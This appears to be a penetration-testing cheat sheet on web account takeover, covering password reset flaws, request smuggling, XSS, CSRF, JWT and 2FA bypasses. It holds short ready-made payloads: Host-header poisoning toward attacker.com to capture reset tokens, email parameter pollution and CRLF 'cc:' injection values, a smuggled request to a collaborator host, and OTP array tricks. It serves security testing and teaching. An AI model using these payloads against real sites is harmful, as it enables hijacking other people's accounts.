# Account Takeover

## Summary

* [Password Reset Feature](#password-reset-feature)
    * [Password Reset Token Leak Via Referrer](#password-reset-token-leak-via-referrer)
    * [Account Takeover Through Password Reset Poisoning](#account-takeover-through-password-reset-poisoning)
    * [Password Reset Via Email Parameter](#password-reset-via-email-parameter)
    * [IDOR on API Parameters](#idor-on-api-parameters)
    * [Weak Password Reset Token](#weak-password-reset-token)
    * [Leaking Password Reset Token](#leaking-password-reset-token)
    * [Password Reset Via Username Collision](#password-reset-via-username-collision)
    * [Account takeover due to unicode normalization issue](#account-takeover-due-to-unicode-normalization-issue)
* [Account Takeover Via Cross Site Scripting](#account-takeover-via-cross-site-scripting)
* [Account Takeover Via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling)
* [Account Takeover via CSRF](#account-takeover-via-csrf)
* [2FA Bypasses](#2fa-bypasses)
    * [Response Manipulation](#reponse-manipulation)
    * [Status Code Manipulation](#status-code-manipulation)
    * [2FA Code Leakage in Response](#2fa-code-leakage-in-response)
    * [JS File Analysis](#js-file-analysis)
    * [2FA Code Reusability](#2fa-code-reusability)
    * [Lack of Brute-Force Protection](#lack-of-brute-force-protection)
    * [Missing 2FA Code Integrity Validation](#missing-2fa-code-integrity-validation)
    * [CSRF on 2FA Disabling](#csrf-on-2fa-disabling)
    * [Password Reset Disable 2FA](#password-reset-disable-2fa)
    * [Backup Code Abuse](#backup-code-abuse)
    * [Clickjacking on 2FA Disabling Page](#clickjacking-on-2fa-disabling-page)
    * [Enabling 2FA doesn't expire Previously active Sessions](#enabling-2fa-doesnt-expire-previously-active-sessions)
    * [Bypass 2FA by Force Browsing](#bypass-2fa-by-force-browsing)
    * [Bypass 2FA with null or 000000](#bypass-2fa-with-null-or-000000)
    * [Bypass 2FA with array](#bypass-2fa-with-array)
* [References](#references)

## Password Reset Feature

### Password Reset Token Leak Via Referrer

1. Request password reset to your email address
2. Click on the password reset link
3. Don't change password
4. Click any 3rd party websites(eg: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.

### Account Takeover Through Password Reset Poisoning

1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header
    ```http
    POST https://example.com/reset.php HTTP/1.1
    Accept: */*
    Content-Type: application/json
    Host: attacker.com
    ```
4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN`


### Password Reset Via Email Parameter

```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```

### IDOR on API Parameters

1. Attacker have to login with their account and go to the **Change password** feature.
2. Start the Burp Suite and Intercept the request
3. Send it to the repeater tab and edit the parameters : User ID/email
    ```powershell
    POST /api/changepass
    [...]
    ("form": {"email":"victim@email.com","password":"securepwd"})
    ```

### Weak Password Reset Token

The password reset token should be randomly generated and unique every time.
Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.

* Timestamp
* UserID
* Email of User
* Firstname and Lastname
* Date of Birth
* Cryptography
* Number only
* Small token sequence (<6 characters between [A-Z,a-z,0-9])
* Token reuse
* Token expiration date

### Leaking Password Reset Token

1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
2. Inspect the server response and check for `resetToken`
3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`

### Password Reset Via Username Collision

1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
2. Request a password reset with your malicious username.
3. Use the token sent to your email and reset the victim password.
4. Connect to the victim account with the new password.

The platform CTFd was vulnerable to this attack. 
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)


### Account takeover due to unicode normalization issue

When processing user input involving unicode for case mapping or normalisation, unexcepted behavior can occur.  

- Victim account: `demo@gmail.com`
- Attacker account: `demⓞ@gmail.com`

[Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character](https://github.com/tomnomnom/hacks/tree/master/unisub).

[Unicode pentester cheatsheet](https://gosecure.github.io/unicode-pentester-cheatsheet/) can be used to find list of suitable unicode characters based on platform.

## Account Takeover Via Cross Site Scripting

1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
2. Leak the current **sessions cookie**
3. Authenticate as the user using the cookie

## Account Takeover Via HTTP Request Smuggling

Refer to **HTTP Request Smuggling** vulnerability page.
1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
    ```powershell
    git clone https://github.com/defparam/smuggler.git
    cd smuggler
    python3 smuggler.py -h
    ```
2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:
    ```powershell
    GET http://something.burpcollaborator.net  HTTP/1.1
    X: 
    ```
3. Final request could look like the following
    ```powershell
    GET /  HTTP/1.1
    Transfer-Encoding: chunked
    Host: something.com
    User-Agent: Smuggler/v1.0
    Content-Length: 83

    0

    GET http://something.burpcollaborator.net  HTTP/1.1
    X: X
    ```
    
Hackerone reports exploiting this bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

## Account Takeover via CSRF

1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
2. Send the payload

## Account Takeover via JWT

JSON Web Token might be used to authenticate an user. 

* Edit the JWT with another User ID / Email
* Check for weak JWT signature 

## 2FA Bypasses

### Response Manipulation

In response if `"success":false`
Change it to `"success":true`

### Status Code Manipulation

If Status Code is **4xx**
Try to change it to **200 OK** and see if it bypass restrictions

### 2FA Code Leakage in Response

Check the response of the 2FA Code Triggering Request to see if the code is leaked.

### JS File Analysis

Rare but some JS Files may contain info about the 2FA Code, worth giving a shot

### 2FA Code Reusability

Same code can be reused

### Lack of Brute-Force Protection

Possible to brute-force any length 2FA Code

### Missing 2FA Code Integrity Validation

Code for any user acc can be used to bypass the 2FA

### CSRF on 2FA Disabling

No CSRF Protection on disabling 2FA, also there is no auth confirmation

### Password Reset Disable 2FA

2FA gets disabled on password change/email change

### Backup Code Abuse

Bypassing 2FA by abusing the Backup code feature
Use the above mentioned techniques to bypass Backup Code to remove/reset 2FA restrictions

### Clickjacking on 2FA Disabling Page

Iframing the 2FA Disabling page and social engineering victim to disable the 2FA

### Enabling 2FA doesn't expire Previously active Sessions

If the session is already hijacked and there is a session timeout vuln

### Bypass 2FA by Force Browsing

If the application redirects to `/my-account` url upon login while 2Fa is disabled, try replacing `/2fa/verify` with `/my-account` while 2FA is enabled to bypass verification.

### Bypass 2FA with null or 000000
Enter the code **000000** or **null** to bypass 2FA protection.

### Bypass 2FA with array

```json
{
    "otp":[
        "1234",
        "1111",
        "1337", // GOOD OTP
        "2222",
        "3333",
        "4444",
        "5555"
    ]
}
```


## TODO

* Broken cryptography
* Session hijacking
* OAuth misconfiguration


## References

- [10 Password Reset Flaws - Anugrah SR](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
- [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained](https://www.youtube.com/watch?v=gzM4wWA7RFo&feature=youtu.be)
- [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020](https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28)
- [Hacking Grindr Accounts with Copy and Paste - Troy HUNT & Wassime BOUIMADAGHENE - 03 OCTOBER 2020](https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/)
- [CTFd Account Takeover](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
- [2FA simple bypass](https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass)
